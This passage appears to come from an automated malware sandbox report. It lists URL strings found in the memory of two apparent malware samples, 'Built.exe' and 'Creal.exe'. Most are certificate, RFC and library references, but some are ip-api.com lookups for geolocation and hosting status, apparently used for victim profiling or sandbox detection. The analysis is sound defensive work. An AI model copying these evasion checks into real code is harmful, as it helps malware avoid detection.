Source: Built.exe, 00000004.00000003.2123796536.000002D966898000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://csrc.nist.gov/publications/nistpubs/800-38a/sp800-38a.pdf);
Source: Creal.exe, 00000005.00000002.2427584689.00000203E8B40000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://curl.haxx.se/rfc/cookie_spec.html
Source: Creal.exe, 00000005.00000002.2422504490.00000203E7CA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://docs.python.org/library/itertools.html#recipes
Source: Creal.exe, 00000005.00000002.2423537935.00000203E7DC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar.tar.gz
Source: Creal.exe, 00000005.00000002.2423537935.00000203E7DC0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://foo/bar.tgz
Source: Creal.exe, 00000005.00000003.2180042849.00000203E790C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2180042849.00000203E79BD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2405762243.00000203E7955000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2180042849.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2406137702.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2375579122.00000203E79E9000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372941134.00000203E79DE000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2367740897.00000203E7970000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/
Source: Creal.exe, 00000005.00000003.2376603648.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2381741490.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2365364395.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372527708.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2180042849.00000203E790C000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2405762243.00000203E7955000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2180042849.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2406137702.00000203E7A06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail
Source: Creal.exe, 00000005.00000003.2413104286.00000203E7AAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://google.com/mail/
Source: Built.exe, 00000004.00000003.2140576878.000002D967425000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2164052765.000002D966F30000.00000004.00000020.00020000.00000000.sdmp, Built.exe, 00000004.00000002.2167539470.000002D967425000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2381479785.00000203E784F000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2381601278.00000203E7855000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2369311620.00000203E7810000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2399794322.00000203E7857000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2180042849.00000203E7811000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373069284.00000203E784B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535
Source: Creal.exe, 00000005.00000003.2367740897.00000203E79A9000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2403089079.00000203E79F0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372527708.00000203E79E8000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2180042849.00000203E79BD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2375579122.00000203E79E9000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372941134.00000203E79DE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://httpbin.org/
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545
Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/json/?fields=225545r
Source: Built.exe, 00000004.00000002.2163800806.000002D966E30000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hosting
Source: Built.exe, 00000004.00000003.2126560706.000002D966CE3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ip-api.com/line/?fields=hostingr
Source: Creal.exe, 00000005.00000003.2377722260.00000203E7B39000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2407470259.00000203E7B44000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es
Source: Creal.exe, 00000005.00000003.2377722260.00000203E7B39000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2407470259.00000203E7B44000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.accv.es0
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: Creal.exe, 00000002.00000003.2116638050.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114531562.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114770522.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117697152.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125640719.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116454412.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117697152.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125125943.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115508487.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115537759.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116002647.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115287831.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115748966.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115977535.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116002647.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114798447.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117531945.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116245484.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114552537.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2126323883.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2126323883.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: Creal.exe, 00000002.00000003.2116656541.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116638050.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114552537.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116495637.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114531562.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114770522.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117697152.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2127851067.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125640719.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116454412.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125125943.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115508487.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115537759.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114798447.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116780837.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2442922105.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116267220.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115748966.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116267220.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115977535.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117355623.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0A
Source: Creal.exe, 00000002.00000003.2116656541.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116638050.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114552537.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116495637.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114531562.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114770522.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117697152.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2127851067.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125640719.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116454412.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125125943.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115508487.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115537759.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116002647.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114798447.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116780837.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2442922105.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116267220.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115748966.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116267220.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115977535.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0C
Source: Creal.exe, 00000002.00000003.2116656541.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116638050.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116495637.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117697152.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125640719.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115508487.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114798447.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115287831.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116267220.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115977535.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125125943.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116002647.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2123793224.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117531945.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115776871.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114552537.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2126323883.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117355623.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116780837.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125441432.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2124946806.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0X
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.sectigo.com0
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.thawte.com0
Source: Creal.exe, 00000005.00000002.2422504490.00000203E7CA0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://opensource.apple.com/source/CF/CF-744.18/CFBinaryPList.c
Source: Creal.exe, 00000005.00000003.2414506269.00000203E77EE000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374358999.00000203E77E8000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374144942.00000203E77BD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2381479785.00000203E784F000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2381601278.00000203E7855000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2369311620.00000203E7810000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2418580298.00000203E77EE000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2399794322.00000203E7857000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373069284.00000203E784B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/
Source: Creal.exe, 00000005.00000003.2414506269.00000203E77EE000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374358999.00000203E77E8000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374144942.00000203E77BD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2418580298.00000203E77EE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/0
Source: Creal.exe, 00000005.00000003.2402674199.00000203E77B0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2375493064.00000203E77B0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2418580298.00000203E77B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://repository.swisssign.com/C
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcb.com/universal-root.crl0
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://s.symcd.com06
Source: Creal.exe, 00000005.00000003.2410251337.00000203E7AA4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2413104286.00000203E7AAC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc4880
Source: Creal.exe, 00000005.00000002.2428133782.00000203E8DBC000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc5297
Source: Creal.exe, 00000005.00000002.2426443481.00000203E8460000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376137526.00000203E8430000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2380581302.00000203E8451000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376742548.00000203E843A000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374144942.00000203E77BD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376177154.00000203E8437000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2408002776.00000203E77D0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2379853971.00000203E77CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc5869
Source: Built.exe, 00000004.00000002.2171255511.000002D967DE4000.00000004.00001000.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2425292105.00000203E8110000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://tools.ietf.org/html/rfc6125#section-6.4.3
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/sha256-tss-ca.cer0(
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-aia.ws.symantec.com/tss-ca-g2.cer0
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/sha256-tss-ca.crl0
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-crl.ws.symantec.com/tss-ca-g2.crl0(
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com07
Source: Built.exe, 00000003.00000003.2108830553.00000124EBC30000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ts-ocsp.ws.symantec.com0;
Source: Creal.exe, 00000005.00000003.2403845274.00000203E7B81000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2405592368.00000203E7B93000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376890554.00000203E7B7E000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2375135249.00000203E7B6F000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://web.cs.ucdavis.edu/~rogaway/ocb/license.htm
Source: Creal.exe, 00000005.00000003.2377722260.00000203E7B39000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2407470259.00000203E7B44000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1.crt0
Source: Creal.exe, 00000005.00000003.2374144942.00000203E77BD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2414377242.00000203E77D8000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2414506269.00000203E77DD000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2408002776.00000203E77D0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2379853971.00000203E77CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl
Source: Creal.exe, 00000005.00000003.2377722260.00000203E7B39000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2407470259.00000203E7B44000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/fileadmin/Archivos/certificados/raizaccv1_der.crl0
Source: Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm
Source: Creal.exe, 00000005.00000003.2377722260.00000203E7B39000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2407470259.00000203E7B44000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es/legislacion_c.htm0U
Source: Creal.exe, 00000005.00000003.2377722260.00000203E7B39000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2407470259.00000203E7B44000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.accv.es00
Source: Creal.exe, 00000002.00000003.2127956046.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/
Source: Creal.exe, 00000002.00000003.2127956046.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2128029467.0000016B5EEC2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: Creal.exe, 00000005.00000003.2377575981.00000203E7B5B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2389785541.00000203E78D0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373660739.00000203E78CF000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2375300692.00000203E7B58000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/
Source: Creal.exe, 00000005.00000003.2389785541.00000203E78D0000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373660739.00000203E78CF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cert.fnmt.es/dpcs/f
Source: Creal.exe, 00000005.00000003.2403845274.00000203E7B81000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2376890554.00000203E7B7E000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2373408012.00000203E7B2B000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2374098693.00000203E7B32000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2375135249.00000203E7B6F000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2360921736.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000002.2421077059.00000203E7B92000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000005.00000003.2372998084.00000203E7B21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.cs.ucdavis.edu/~rogaway/papers/keywrap.pdf
Source: Creal.exe, 00000002.00000003.2116638050.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114531562.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114770522.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117697152.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125640719.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116454412.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117697152.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2125125943.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115508487.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115537759.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116002647.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115287831.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115748966.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2115977535.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116002647.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2114798447.0000016B5EEC1000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2117531945.0000016B5EEB4000.00000004.00000020.00020000.00000000.sdmp, Creal.exe, 00000002.00000003.2116245484.0000016B5EEBA000.00000004.00000020.00020000.00000000.sdmp, 